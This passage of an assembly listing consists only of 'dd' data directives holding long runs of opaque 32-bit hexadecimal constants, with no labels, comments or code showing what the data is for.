		dd 1ECF61BBh, 70D03BBDh, 1F334CF2h, 4AF82976h, 0BFFC1746h
		dd 4DF344DBh, 58E2EF80h, 40B997DFh, 43A2B8C1h, 0F29F6953h
		dd 16F44BE9h, 0A63CEEB2h, 6B0201B8h, 4CE97F69h,	301A9332h
		dd 0DBAB9506h, 68E5123Bh, 0DF15FC4h, 7F0A822Bh,	55C04DFCh
		dd 0DA478568h, 78B9394Dh, 3211782Fh, 0F4FB0012h, 0B0076A3Ch
		dd 3B1DE816h, 0CE1D01ADh, 184D8B87h, 50B38Bh, 82351C0Bh
		dd 8774D678h, 0DB228367h, 81E56A88h, 43FC51AFh,	0E87EF74Fh
		dd 15D4ABE6h, 8AEE4088h, 0BD3659Fh, 656E875Eh, 15ED7497h
		dd 0EE5FBED2h, 74D9AA33h, 5911C978h, 5DE9BBE8h,	0B97E2741h
		dd 50680A82h, 5462FE7Dh, 953C4E59h, 0A993BD53h,	0AAD7CAB8h
		dd 5E090D88h, 538E2331h, 8430CBC8h, 25584758h, 5BF9D4D2h
		dd 65B3502Ch, 30522940h, 1E2EC4Fh, 7F025C33h, 0FC05EAC1h
		dd 65E813F2h, 0C40C2B60h, 9838B835h, 0CDEE0B76h, 645FEC0Ah
		dd 92C90A5h, 699819F0h,	83598277h, 0C1D4665Dh, 0F15099E4h
		dd 48237C6Ch, 479F5479h, 0FFC8FEA0h, 83A00A4Fh,	0DBFD82C6h
		dd 0BEA020FBh, 0F25D7247h, 32632180h, 7EBE42h, 296A13BFh
		dd 0D42053B8h, 0ADF9584h, 422C47C6h, 27EB6E08h,	68E1EC51h
		dd 3664195h, 0DC4A7209h, 8294DA02h, 0E3ED8103h,	5F5BEA54h
		dd 8032E6Ah, 40C6F9E9h,	0F1295F1Eh, 0F68B6F1Ah,	7F2B8CB9h
		dd 5F4BF8FFh, 2A9E32E1h, 0C8525Eh, 6A685217h, 61E5B87Eh
		dd 0C2A52189h, 69895B7Fh, 6850E768h, 615FBC2Ah,	7E2EE916h
		dd 0DEF0AF22h, 0CD210F65h, 0B4E44FA4h, 1278ECC4h, 0F5810601h
		dd 76DB270Eh, 407AD6Fh,	1FE1660h, 0C6E7C8BAh, 36A55414h
		dd 32EB05EEh, 0F48124C9h, 4A628DE2h, 2BEA8101h,	0F5565254h
		dd 0B6368D8h, 8A8AC288h, 9A0CBADDh, 0B7CFD709h,	85DDA2E0h
		dd 20971A97h, 696A54C4h, 0F4681235h, 7176453Bh,	0D205FDF3h
		dd 0FE85ABB8h, 0D30F60CFh, 0B97868E0h, 49987995h, 9F0E775h
		dd 4C7E5AE9h, 7F251D2Eh, 33A44D45h, 0DA55BDE2h,	0D98C5926h
		dd 0E16DBE5Ah, 4F664160h, 6AECC45h, 0FE11466Eh,	0B294D727h
		dd 0D1E5EA80h, 22EE61C0h, 0F62C1B42h, 0AA984B8Fh, 0DF3A8022h
		dd 6C17B1Bh, 8A20A0EAh,	7C7A5A7Ah, 0A47ADE27h, 0F1DF7F6h
		dd 540F0761h, 627DCDE9h, 4167DD22h, 0C641E906h,	0D560BD75h
		dd 5B970831h, 0FC99BDD6h, 0DCD9C5B2h, 0ADBA96EFh, 0D0F441B7h
		dd 0D15ECD2Eh, 27CF6D33h, 533077DDh, 75B0C729h,	0B7883929h
		dd 0E9B4D20Ch, 0FC82E5FDh, 59CB315Fh, 80705ADDh, 1941DBEEh
		dd 40D82934h, 8677A471h, 6AE4917h, 9B3492E7h, 6E3E81BDh
		dd 8541AC63h, 2A39C836h
		dd 2E0C100h, 0EE3F6F05h, 1F020A75h, 0E9AEFE4Fh,	121F7C60h
		dd 0B0A100BBh, 0CB814B06h, 323B23EEh, 63F3035Bh, 0E06E1C41h
		dd 244F11E9h, 226693Ch,	4790726Dh, 1AF540CBh, 140C1C08h
		dd 0FC0AE142h, 0EA75AE34h, 0B734F02Dh, 2DC2B2DEh, 0CAEE0F7Ch
		dd 9258B0EBh, 68ECBD62h, 772D4232h, 37E9B948h, 0C12EAD61h
		dd 70C405E8h, 30C73E0Eh, 0A57A34AEh, 55521E7Ch,	5F28DF65h
		dd 44037BE1h, 84103999h, 0E95FE4AFh, 0E0F19F4Ah, 922AB92Eh
		dd 658B7F05h, 591874B3h, 0E5D192FEh, 0E26641BDh, 5848092Bh
		dd 1255FB5Fh, 0BE50EA2Dh, 0D7BA25D4h, 527F8C32h, 309CC3AAh
		dd 748A7612h, 0D6504562h, 280D3409h, 3C7461C3h,	0B4079B23h
		dd 0B1EC802Ah, 0CD58E328h, 0D063E2CBh, 6EF60628h, 7DA63925h
		dd 0DBD2839Bh, 0C7095248h, 681748A4h, 6F8C7E02h, 0F36A168Fh
		dd 50E1077Ah, 67820B0Ch, 94559A8Ah, 0BB530213h,	2A163319h
		dd 45EF2D40h, 7F60F425h, 29F8163h, 4075FA17h, 76208866h
		dd 501408Fh, 13E213Bh, 0E9C629F8h, 0CC6A2E54h, 0E39FC894h
		dd 9CF8EDCAh, 0CE1EE83Bh, 8CEE4FF2h, 0F6C2E6CFh, 74C12841h
		dd 5FC79D49h, 1A8C3889h, 0DEDC5744h, 58B8F76Ah,	0F6C29C2Eh
		dd 405FA655h, 48E0715h,	0F3E9D42Dh, 0EFA3FEEEh,	0C685F393h
		dd 0B5349F48h, 0F268BDA1h, 8BE22E42h, 5A1D90D3h, 6C502C61h
		dd 1E048908h, 4C015EAFh, 5C16E907h, 0A3063532h,	0D1613D46h
		dd 7D73028Ch, 484075ACh, 0DB98177h, 967B2FE7h, 0F6F404D5h
		dd 0D82CB403h, 4FF0313Ch, 923CAC58h, 93FFA7ABh,	53867008h
		dd 2C9E62D9h, 0FA936Eh,	0B9108981h, 0E603BB6Bh,	0E91CC66Eh
		dd 0C7D4E4E1h, 1BE39384h, 38516F50h, 8D4C7CB1h,	0E5EB800Bh
		dd 0FA40AB42h, 1F992135h, 187A0E88h, 310DF8C1h,	0B407295Bh
		dd 0FD0B67B2h, 28578AB1h, 4071C947h, 95FD286Fh,	801C5796h
		dd 0E5CE91EDh, 64CDC1A2h, 1685DDF6h, 0C2EF3060h, 0B56E5h
		dd 9D3BC626h, 9D39876h,	0C5E7F170h, 51002CDEh, 7A2680B9h
		dd 7679812h, 71873EE2h,	0B0035781h, 0DAF706D3h,	0C28EC0B7h
		dd 8D6213DFh, 5F16AF4Bh, 0E916C1B8h, 0A5A9A008h, 0BE2840h
		dd 68DF1E64h, 1751C681h, 0B453462Ch, 79F8A51Dh,	3E835096h
		dd 45DF9EFh, 0E344575Ch, 17A7BC02h, 0CBA3B958h,	3F4A6808h
		dd 0C93D273Fh, 462FEA3Dh, 14C75FA3h, 4F2EBF04h,	1EF40DA4h
		dd 11051831h, 8FCF113Ch, 15033B17h, 94242C07h, 0A00BF7DFh
		dd 0F58BA918h, 0E9087BC1h, 0B6257428h, 0F47988E2h, 4C1B2720h
		dd 9913D6B7h, 65598C0Ch, 580765B6h, 4A85C531h, 0ECEF4E4h
		dd 1FA57953h, 595DE6C0h, 18CE48D1h, 0FBC8BBBh, 0E6C6E99Dh
		dd 99FE2FC9h, 500F07C6h, 0E080EDB4h, 0E9E18838h, 0F74040F8h
		dd 0C5A40082h, 98971B96h, 9C8F2CCDh, 64AF8259h,	16604F82h
		dd 0C32F3FAAh, 0F43FE21Ah, 22C52707h, 795C010Bh, 0E116C882h
		dd 75D70AE9h, 450C608Bh, 5A1412BCh, 442306F2h, 55E22568h
		dd 3F60EBD3h, 4D865CFCh, 455397DFh, 4C685055h, 56170D2Dh
		dd 0E74B72ECh, 4EA5D241h, 702029B6h, 0F33B2E1Bh, 74B90963h
		dd 2D4794F5h, 0DB3010B2h, 0CDB49E98h, 2827C3C2h, 0FA6634CBh
		dd 0FA7E6F8Ah, 1679959Fh, 250EE708h, 401B274h, 29353C96h
		dd 0F6A9002Eh, 3AF8EFD2h, 0A8D6E917h, 44A8C329h, 33FB0B48h
		dd 62603EFCh, 2025C1E3h, 0BD4A509Fh, 21C5F05Ch,	220FDEEDh
		dd 13442Eh, 2C1A101Ch, 0FB0B296Fh, 59C7A0E9h, 60E29C76h
		dd 68EED104h, 0C1A604E0h, 2C67C04Bh, 4B603DF8h,	7D3AE5Ch
		dd 2081A0C2h, 62CF2E77h, 8C194A8h, 9042BD5Ah, 0E309D395h
		dd 0BDAEF3ACh, 9CAC290h, 440D8668h, 0C3FCB7CFh,	82FCB758h
		dd 410D1BC1h, 2ABD72EDh, 40E82DAAh, 26DBEEF2h, 3A81F251h
		dd 0BBEB5160h, 25A5306Ah, 2308A30Ch, 0D30A785Fh, 0C3408C3h
		dd 0A9E91402h, 1FF05A8Fh, 43AC1F83h, 0D15DEF09h, 4906709Eh
		dd 56797614h, 9C6B0C0h,	97E905A4h, 0D35A427Ah, 0A19BAB9h
		dd 968A4E77h, 922188DFh, 756F9D62h, 0C317FECAh,	0B89387B2h
		dd 13DF81C6h, 26E7C91h,	53C201EFh, 0C83CF956h, 8CA061E8h
		dd 47C0BB3Ch, 1A10C14Fh, 7B036575h, 531415F8h, 0F9819EC1h
		dd 3017E822h, 4701E288h, 0DF01248Fh, 5689DE9h, 16890502h
		dd 0A2809E5Dh, 314C5C30h, 0ADE927h, 660E2D5Ah, 143143Bh
		dd 88059BE8h, 0C06BB107h, 50593854h, 0B5D0B5Ch,	0C052E903h
		dd 178DBE82h, 0F9223127h, 15E103D1h, 0B5834CEDh, 0D75ABF58h
		dd 0F7951C24h, 9150F0D0h, 6D12A94Fh, 89C07AE9h,	0CB43F480h
		dd 24FFB106h, 0CCFA685Ah, 4648B3F4h, 0F5B2F23h,	4469E4FBh
		dd 0D8C011FCh, 58330E31h, 0F2D4838h, 0F2F3BE23h, 9CC395C1h
		dd 2D787E33h, 959FBDAh,	4A194B43h, 482FBC55h, 26E07BB0h
		dd 16C2E7B5h, 9EBA015Ch, 2F4B4637h, 0C917401h, 0F16F5065h
		dd 2F6085B0h, 0B6C71743h, 0B1E3F90h, 7E18C05Eh,	0E9C733F4h
		dd 4EED38F7h, 0BCE26BB8h, 5C4B6970h, 9D2A3ED9h,	0A4DB9738h
		dd 68CD88EBh, 53F2C509h, 5C7E5E4Fh, 62BA314Bh, 3E5CC1B4h
		dd 0E9E11A21h, 0F26B7579h, 0A320492h, 0AEA3E9Ah, 1208EFE2h
		dd 0E516EA5Ah, 8A49C965h, 10C30057h, 3A34A603h,	0E4AC4CBFh
		dd 0B71B0845h, 777B681Ah, 0FC8A5EA4h, 0B6528784h, 5AF530B1h
		dd 0B1880370h, 0F0E0A00Dh, 9EBA9F3Fh, 53519B60h, 0F1B2BAFEh
		dd 725551AAh, 0CB0ED4D1h, 0C70F0B05h, 0EB53E1C2h, 0C98100ECh
		dd 5E2E0613h, 764A475h,	639E16C1h, 0F1D82337h, 5CCC122Dh
		dd 0D35EFA0Fh, 136C8A9Bh, 25AF260Ch, 4294BB52h,	0B911F4EBh
		dd 6F300CF6h, 5A644827h, 876BC7D7h, 1C3212E9h, 30B1E7D5h
		dd 37A3550h, 0CFFE2598h, 0D6FC8500h, 9A50E42Dh,	3DC0973Bh
		dd 40824F7Bh, 7A282FD1h, 80765BE3h, 0B605ADCBh,	20D4541Dh
		dd 1556F26Fh, 0C2B8CDE9h, 0B151D807h, 0D470A3ECh, 595B3405h
		dd 0C205F188h, 8DAE0445h, 43329F9h, 222D189Fh, 0E092A9F9h
		dd 0B1FC3E66h, 3330094Ch, 0CFBD5274h, 216AF300h, 0DCE5AAEEh
		dd 542F3A80h, 5A04F376h, 1483D0F6h, 0D5E9EF89h,	2CEF9A16h
		dd 6ED5A436h, 93AAB2BEh, 9E9F61AEh, 434B02ABh, 86635406h
		dd 681F1611h, 0E945056Fh, 0AB8A95D7h, 0CE874081h, 404C2E20h
		dd 50015F79h, 73478BB8h, 0B9EF0512h, 0F882ED8Ch, 38926E2Ch
		dd 2038037Ch, 0EE297D95h, 5F054F3Bh, 62A4CFD0h,	0FA47A544h
		dd 5B7C9CCAh, 89C4DCh, 7235C7A7h, 62C1FDF0h, 5500444h
		dd 22C6AAB4h, 0B7CC5F08h, 0E99DB8BFh, 1D0594C6h, 52018380h
		dd 0E2B317B2h, 89BC0FBh, 6071CAE1h, 20B62335h, 9FEF3EBh
		dd 1B54A76Eh, 0A0C050E4h, 12D01063h, 0EE64E90Dh, 79CB6012h
		dd 0D929FB5Fh, 1257D918h, 88886CE9h, 51095EA7h,	0D92FB868h
		dd 100BF52h, 5AB925ECh,	6C27FD65h, 78147531h, 55CE092Fh
		dd 6A1DF799h, 2F5A420Fh, 408F0951h, 5004ACDEh, 0A3E08E3Fh
		dd 0C2FEB88Bh, 0FAEA3980h, 280CBFCCh, 16225AD0h, 432F8F9h
		dd 0E916A261h, 7638C0B6h, 648258A1h, 0C55F474h,	6C20E060h
		dd 5905E22Bh, 5BF95399h, 0DE83C02Fh, 0FA481D93h, 75B41702h
		dd 0A829820Bh, 5F16089Ch, 0EF7C94AAh, 92DECBE2h, 5EAD3372h
		dd 80B7C5C9h, 48F86871h, 4B5B5708h, 305CBD4Bh, 762D7205h
		dd 85175EE1h, 8BD4B9CDh, 48DB81AFh, 13BCA31h, 0AD363546h
		dd 0C0AE050Ah, 741AD273h, 60E94A17h, 5A5440C1h,	0A641E03Bh
		dd 0DF564769h, 5FE970E8h
		dd 0CB3D07BCh, 82E421E9h, 2E48A559h, 562572BEh,	0C2E9F65Eh
		dd 0E90102DCh, 416BA6D4h, 0EA672B76h, 2BA46A04h, 5C3E40B5h
		dd 7DD4D09Fh, 8EB68DDh,	4FE90484h, 0CE5D0A5h, 277AD874h
		dd 6EBB9F25h, 0DA68179Eh, 0EE7F8C6Dh, 5CF54E41h, 0B4D7C2A7h
		dd 0BE0A86C7h, 8839C2B1h, 0A720BD5Ah, 2DD798B5h, 8866CF8Bh
		dd 0FC1D906Bh, 0EAC38351h, 0E5FFD77Eh, 5B00AC48h, 8900B1DDh
		dd 5F4A60F9h, 12DF91Ch,	576107C6h, 0CEE5E968h, 5A47AD3Bh
		dd 0D8AD6057h, 7A59B901h, 2EEDC161h, 57558C00h,	0A0460905h
		dd 0B862CEF0h, 33E917A6h, 1341F6AEh, 75B29A3Eh,	0B9B02F78h
		dd 0C08FDA53h, 74E0A502h, 195FC9F4h, 0F51C5709h, 58E06A5Ah
		dd 0AC724B89h, 0CD1C41Ah, 4FE70C1Dh, 8BEA8106h,	0A4C3817h
		dd 18066602h, 638570Ch,	0E02E8C1h, 1D68C831h, 2D4C517Fh
		dd 875CB957h, 0AD17F17Eh, 4277E808h, 0BF1B7A0h,	0E63B088Bh
		dd 1121605Ah, 0F674C980h, 0FCFED93Ah, 0F40FC85Bh, 0FAC6A75Ah
		dd 0C1B81094h, 3D21FF5Fh, 2697A720h, 0D552AB2Dh, 0B0549CCh
		dd 33C067Fh, 142D0C85h,	679F0F07h, 797FC6C2h, 9F7E5266h
		dd 31929744h, 0B401FD59h, 3F3AEF68h, 758ACE32h,	0E8E90718h
		dd 20EBC04Bh, 6375BAE8h, 45FE3364h, 12F53A88h, 0D066DE48h
		dd 2008CC39h, 30042648h, 0BEEF91BCh, 0C1495801h, 57E0D32Dh
		dd 88395052h, 0A0C633C8h, 9018A660h, 18C00953h,	42FC2996h
		dd 63FD5E3Fh, 8FC8013Ah, 0AF35C45Eh, 5D7E068Ah,	0E15F4859h
		dd 4FF37B83h, 0BF17EED2h, 0A1416AF2h, 693DC5CDh, 0C660DA89h
		dd 1A0958BEh, 0D5211E44h, 2AE4DE2Fh, 55A4BE81h,	0AD6F41C1h
		dd 61F45957h, 7B12D8E9h, 4FFBBB56h, 0D69E5F8Fh,	31C8BFD0h
		dd 30025E21h, 671F69C3h, 9F9284Eh, 81D8BA4Bh, 0A92F6063h
		dd 44C87612h, 287BC4A1h, 0ECE9139Dh, 5F5EC4C1h,	0F16046C5h
		dd 2B793CBDh, 562C2AE0h, 0D2950372h, 5A088053h,	0D55D25E9h
		dd 4D5591FDh, 81DED03Bh, 5B1DEEF2h, 0C2813DC4h,	0DC160155h
		dd 0AED6123Eh, 0D4E7B01Ch, 0E04BE268h, 0C1A6A457h, 5D8BD0BEh
		dd 121CBB53h, 0E1EFC016h, 0C728193Bh, 8FCB8101h, 0EC29C501h
		dd 0E59D337Fh, 3E680408h, 31CCCD74h, 0AAA7CAD7h, 2956F2E2h
		dd 26EA4757h, 951255Ah,	4134716Bh, 7B8EA6E9h, 742F6C3Ch
		dd 5020062h, 6FB138B9h,	55730F0Dh, 35D8D0C0h, 5B222015h
		dd 0A164EE8Ch, 0B04E7FEh, 669A3BE9h, 8063FA5Bh,	0DF4B895Dh
		dd 44E86E6h, 0AA71B53Fh, 938425BDh, 658C16E7h, 3853012Bh
		dd 5B840561h, 7A86F48h,	39C06027h, 20A01CBFh, 4C9D8919h
		dd 6E4E2D19h, 0A132177h, 0B3211870h, 2DE57520h,	20DFF7CBh
		dd 0CA74BECDh, 98E91766h, 7A41F564h, 0B248EFF9h, 0AA37575Fh
		dd 41A04F40h, 38686E17h, 27422E38h, 6A5D8150h, 0B36C31F5h
		dd 819CF05Fh, 14B07F3h,	59F610F2h, 40F4E16Bh, 0A554BFEh
		dd 2B93F255h, 0E9E828FEh, 0B6A683F0h, 0E9307195h, 0E26DD155h
		dd 3ADF22E8h, 999CFD98h, 3849E913h, 0B21629F3h,	0B47CB846h
		dd 6689FEFDh, 8D438256h, 0ACAE4B6Dh, 9706D068h,	78ED23BBh
		dd 0CA812B01h, 1AEA55F3h, 4C4CB2Fh, 7B100B49h, 5D0A69C2h
		dd 66130E45h, 7EBD7453h, 7E8BB127h, 6E0701FCh, 0C45F4179h
		dd 63D8A6D9h, 0EE3912FAh, 0AE82BF72h, 0B0EC494Bh, 0B8E9003Fh
		dd 34DE0B98h, 7E0C100h,	0E2527A25h, 5B350F58h, 0F157C217h
		dd 47C06E13h, 0FB55A68h, 83E28175h, 807DA844h, 0D9F263DDh
		dd 53E4FD5Bh, 0D77A80CBh, 9E51F1B5h, 57CC4B92h,	60DD9255h
		dd 2EFD4669h, 1AB1EDA7h, 9BC15C56h, 0B0212EEBh,	2EAAF043h
		dd 0B0044B93h, 6C9F5AD7h, 0EEB95845h, 0EF008694h, 1741045h
		dd 0B85150CEh, 0EA0CAD08h, 0D460DFCFh, 55598168h, 943A84BAh
		dd 0C8030409h, 0B2A72CD8h, 0CE7F7E62h, 0F56815F0h, 1612D27Bh
		dd 7B0B299Eh, 4238F6CAh, 11B47DA1h, 0F32782FDh,	0E5BD74E6h
		dd 5EEA62CCh, 0E8AF3104h, 554BDF59h, 90D52D1h, 6DF90960h
		dd 8DDE9F5h, 0F9F74A21h, 9C824FFAh, 0F0D43C77h,	3757057h
		dd 0DE18A2F6h, 0E3A465Bh, 2B5187B0h, 36B4684Eh,	406C31EAh
		dd 0E3280195h, 168692Bh, 3A71D287h, 78880981h, 1C5D783h
		dd 4DC3697Fh, 5F8F0E04h, 2CC37363h, 2759C864h, 6F79092Dh
		dd 32277B5h, 8BFC42DFh,	0DF1A896Bh, 3C9CCF81h, 0D19D60AAh
		dd 5F507041h, 4E8F31C2h, 0D9A3E17Eh, 0A59D01CAh, 3005F566h
		dd 0C01FC221h, 0E9424AB9h, 803A1D58h, 23084C1h,	0C4A89775h
		dd 0B0082A08h, 0C7504BAEh, 5E02691Ch, 275DB42Ah, 6FF240A9h
		dd 809F566Bh, 260E0D06h, 250954A4h, 271D0972h, 4B8702C5h
		dd 56970B0h, 22590B16h,	5B3A8915h, 0AF6702D7h, 32EE7562h
		dd 0D51DC2B5h, 3671BE8Bh, 941A0B2Dh, 92595B4Dh,	0B070988Ah
		dd 800EB601h, 0B72CE8EEh, 5392B03Eh, 78446814h,	0C5B6CF96h
		dd 36E8F388h, 20DE66A2h, 0E9805703h, 765992FCh,	2D211E9Ah
		dd 0BB0A3075h, 0AD489515h, 0CCB1AA1h, 56B3F65Fh, 48F4E927h
		dd 1EDAC32Ch, 0C93CA826h, 5030949Fh, 5F82E7ADh,	1363F0E8h
		dd 5F41AF17h, 9CE93621h, 0D14A2C33h, 0C28C10B9h, 0AC0CC5FDh
		dd 0CF470A6Eh, 86F381A9h, 7A462A36h, 26DF89A4h,	678D3Fh
		dd 69AE9AEBh, 68B553D5h, 58D17963h, 0F728DB4Ah,	0E95B3807h
		dd 0B170A9B1h, 0ECA030ACh, 1DC78080h, 57CF28A4h, 3EC0A8EFh
		dd 4F68C0EBh, 4E3CFA47h, 12DBB05Eh, 0BBBB8CE9h,	0BE089E25h
		dd 0BE281383h, 7F104D8Bh, 0D1045AFDh, 23AD7068h, 0AA780B12h
		dd 14C8A6B3h, 82555A09h, 5C4A82F3h, 0C0AD8EEBh,	0F5C0086Eh
		dd 59EB8832h, 0F91DF3F8h, 892DE950h, 99487F23h,	472838B5h
		dd 0CF01D757h, 4A70E661h, 81BEC5E9h, 72D4F103h,	64DFF54Bh
		dd 1B44AB82h, 0BB006C05h, 64CC233Eh, 0AF5FF7F4h, 0E6013D0h
		dd 21DE9F9Eh, 0A34A82BCh, 0E029A9A5h, 4C4B686Ah, 7CD4C34Ch
		dd 5E04AA03h, 0E9F05B3Bh, 8CB9900Ch, 5A7958A5h,	3AE9CDA0h
		dd 7684CBE8h, 0B5FC1669h, 0B50A8120h, 0A2E5283Eh, 0D048529Fh
		dd 8141003Ah, 4E2738E1h, 6796C48h, 0C07135F2h, 59FB02AAh
		dd 0CD0136B2h, 8447560h, 745F6F27h, 2A47247Fh, 54685B9Fh
		dd 0B02062CAh, 0E87240B5h, 8840828Eh, 583D6A87h, 843B9626h
		dd 17D6C0E4h, 0FF1B78FAh, 0B16BEF05h, 0C06746AEh, 5F0254E3h
		dd 6D605505h, 0FA5E554Ch, 16450350h, 962D4133h,	0E5046E25h
		dd 2976F011h, 55DF0AFh,	0C1E90AA0h, 84CEF64Ah, 2FCCA24Bh
		dd 0DD9177D4h, 6CB87ADAh, 205EA5C7h, 23840514h,	0B4CD5872h
		dd 3EECDB9Eh, 0B970010Fh, 125B6850h, 29A375Eh, 3DE9C229h
		dd 0B15A4B53h, 80208812h, 98C0E6FEh, 2F6C90D8h,	0AAFA5AB2h
		dd 12C0F674h, 69C28054h, 8EA04C0h, 0E430DEE9h, 0F616C3BBh
		dd 9FACC9Fh, 52DB5975h,	0DA900D09h, 49252094h, 0C8BF0F13h
		dd 2ABF9F84h, 10844906h, 0A84F32C5h, 0DD257892h, 81B732Fh
		dd 1492464Eh, 202E2DBAh, 5061302Bh, 6E2C012h, 943D6D20h
		dd 83680448h, 5834DA7Eh, 0E7BD6A7Fh, 0FEA8E209h, 52FD426Ch
		dd 0B5315E03h, 648EE721h, 92AE416Eh, 7E2C3D42h,	0C9024AF8h
		dd 1BDF5A1Eh, 2264B600h, 4BA4EA7Bh, 0D266FC9Ch,	23089906h
		dd 67C23183h, 59E3881Eh, 3E7238ECh, 4E8A58D8h, 0F23B44A1h
		dd 0FA079B59h, 0DB2261E7h, 0E189857Bh, 0A6CE2B1Bh, 0C113094Bh
		dd 0C4B9A5A0h, 6E5A852Ch, 422EB2A1h, 4BE9C574h,	551C35FCh
		dd 0B8AC04D6h, 278B649Fh
		dd 57431277h, 16A8EB70h, 0DE956856h, 95E13F9h, 0C02A7663h
		dd 8E6A03A8h, 0A209141Bh, 60D650F2h, 256123B8h,	62F77D90h
		dd 0C080DAEh, 575A1401h, 3D674664h, 4FCC8E6Fh, 0E070ED58h
		dd 5BD91631h, 0CCD51E83h, 0EAFF45B7h, 0E160A41Ch, 5136D0ADh
		dd 0A51D08C2h, 8345DF2h, 0F81420FBh, 6B4FFA98h,	0E330C7DDh
		dd 3E0C2FAFh, 9657FD86h, 0EC5D8540h, 9FE4B229h,	0DBEBB507h
		dd 0FFBA8084h, 5C2957D8h, 442639D3h, 6CDE6920h,	327BD75Ah
		dd 445EEB96h, 912A284h,	0B8F74780h, 4BC83B3Fh, 1B64E700h
		dd 0DAE9607Eh, 62F72A4Bh, 0BA826626h, 39AEBB01h, 6BA623E9h
		dd 6526F740h, 955D10D1h, 0BD204F52h, 0FD514B8Dh, 0A3BAD2B5h
		dd 96EDD320h, 3F24EED2h, 3C7BB0ABh, 7C70712Ch, 176E600Eh
		dd 4C3966EAh, 0F25E781Eh, 0EC0C0EAEh, 4021FF8Eh, 0B84A5066h
		dd 0A4E8E494h, 0CB044448h, 0AADF15DCh, 0F3C1580h, 0E9140C57h
		dd 5A401F5Eh, 0BD68663Bh, 15EA347Dh, 0EB04D8EEh, 807AB546h
		dd 7CB7F8BAh, 812DBCC3h, 8AB84F00h, 1902C902h, 4408BD05h
		dd 5ED2624Fh, 66DA5B95h, 0E94D9880h, 599ABD7Bh,	4C23142Ch
		dd 0DC78C7CFh, 0D0BB0924h, 16278CDCh, 36F8544Eh, 552C3750h
		dd 0C3041AB8h, 16973CE6h, 86589851h, 12A3A04Ah,	6DD552DAh
		dd 5C96224Ah, 5A851C30h, 1632BF65h, 4CBF0C0h, 23D5EBAh
		dd 38D8C762h, 51BD5500h, 0A2681A37h, 5C4BF5E4h,	0D449FAB8h
		dd 54975871h, 3540807Dh, 2B9A5CBAh, 323956EAh, 39C5CCE4h
		dd 6904FE5Eh, 0B2E9CB29h, 5A5947E0h, 0EC0B8266h, 39B873D5h
		dd 1C5AC12Dh, 884515Bh,	0A175EDAEh, 3082EDE5h, 0FE88FAB7h
		dd 6B04E261h, 0DFEF0312h, 0B23D4C04h, 0DE1C7D58h, 8023A52Ch
		dd 0F56851C0h, 251FCC7Fh, 0F1078187h, 0F6ACBA20h, 87FCA1B5h
		dd 60282350h, 80E7A9B1h, 0F61D07C7h, 8DBC0D7h, 9BF7D00Ah
		dd 0FDA358B2h, 0E37DF525h, 0ED67ADB3h, 16C32715h, 18C0A52Ch
		dd 0BD585450h, 55256B65h, 0A9E98398h, 2620F49h,	7794746Ch
		dd 5DEA058h, 0B010D71Ch, 74CDA21Ah, 0B8120B69h,	0F60241Ah
		dd 305C2FFCh, 481F1C81h, 46E25A38h, 0E4D0CAA2h,	93CD293Bh
		dd 0C9FC8567h, 30D6F7F1h, 2124DF9Dh, 0D2123A62h, 74FA56C5h
		dd 0B550AC97h, 0D210B4A6h, 0CE05E6Ch, 990C0F05h, 0C60A5E49h
		dd 0E5E91E07h, 0EF5CE104h, 12B1961h, 0BCADB2Ah,	0FE97E954h
		dd 1C77271Ah, 0F7BDAAA3h, 9B88C959h, 52AC0B63h,	5F92F5h
		dd 0B47F0EDDh, 0B1E9044h, 60233C67h, 6E985A80h,	50BD5CEFh
		dd 1666E4BBh, 0A865506Ah, 0B62E6481h, 0F11B3D83h, 95222C11h
		dd 82578D04h, 286CCF31h, 0CA040601h, 25E12EFCh,	0B7607A01h
		dd 1324807Eh, 5614D568h, 174617BEh, 0A7170470h,	35581DCAh
		dd 0CBF231CDh, 2A58941Ah, 5A05F1BDh, 0AA5BD45Fh, 78E520F8h
		dd 711C6827h, 2B1BEFCh,	0F8F68167h, 717E620Ch, 3C2FF37Dh
		dd 482651CBh, 0EBC1258Bh, 64B241ADh, 0F6878018h, 2E3C7FCCh
		dd 0FEF75001h, 0B2688089h, 46657C01h, 8E6C15Eh,	3DE6816Ah
		dd 6A219713h, 0FEFC94EEh, 3FF09D77h, 20E97750h,	591E323Eh
		dd 6216D6F6h, 485DFB49h, 0C777D94Fh, 0B593C53h,	928CE75Fh
		dd 0F8E9C45Bh, 0AA20848Ch, 0C67540BFh, 9316E2Bh, 6A330CC0h
		dd 5B29A0F2h, 8EE3ECF1h, 78D6C448h, 0A05A66B2h,	65404658h
		dd 34F50081h, 6810CA3Eh, 6D9E2E7Bh, 38E0263h, 5AEF7AABh
		dd 0BDD958DCh, 28083382h, 3178D55h, 0A30D51D8h,	972FF15Ah
		dd 10E636F2h, 2C6FBD07h, 0B4A213F4h, 0C5CEAE93h, 62C8F8FEh
		dd 48767E38h, 2C058509h, 0FA0F9531h, 7B9DCE81h,	0BB0227BBh
		dd 5E32130Ah, 97DAED82h, 8CEF2C69h, 0DB740E80h,	6250231h
		dd 58592DECh, 2BE830D7h, 6DBCF0Eh, 0A3E46016h, 40C06E1Eh
		dd 0A068B7C3h, 0B1899730h, 0B898FC04h, 255FC1CDh, 6A702E02h
		dd 1B260022h, 667E3517h, 4095073Ah, 3EA816Ah, 75980E7Ch
		dd 0BAC7CA29h, 5C1C3008h, 104B2140h, 0B722B693h, 72FA170Eh
		dd 41F02116h, 2EA094Ch,	50D7F797h, 93715157h, 901EAE5Fh
		dd 0DD8192F4h, 0F4D00E9Fh, 8C56B7F5h, 51798F79h, 1EE3CB25h
		dd 725D29FFh, 0A1B981AAh, 98D13F79h, 0B7535100h, 75E78010h
		dd 270F5CB0h, 275BFD88h, 0CDC2E9F5h, 90E35DA2h,	0FE04060Ch
		dd 27DE1CC5h, 945DEB88h, 2DE32D56h, 50D6F102h, 98FC5ADDh
		dd 0AC8D325Eh, 10FD010Ch, 0A86FBF2Ch, 1698E7F9h, 0D35D94Eh
		dd 6E2B9CFCh, 17401AF4h, 0AD2F9516h, 19220606h,	0C1486h
		dd 92B71EE4h, 0A869E953h, 5DEA3BC5h, 7C6419FEh,	0B3F7CE9Bh
		dd 5DF3EAA8h, 2620F116h, 4B6D9086h, 4B60A9D8h, 7CF218A0h
		dd 44012D54h, 580D1BD7h, 8620BA18h, 5BA85D4Eh, 2CBD160Bh
		dd 8712877h, 25FA1C30h,	825D48DEh, 0B21AE717h, 0E1247874h
		dd 8CB8BA88h, 1A234832h, 6FE8FA08h, 0C0A12A79h,	0E860D41Ah
		dd 14C05F53h, 0C42D8EBAh, 69439010h, 5ED0E351h,	2D81DA97h
		dd 3159565Fh, 0FB3C5E10h, 907572Eh, 0D3209FC1h,	141DE6F5h
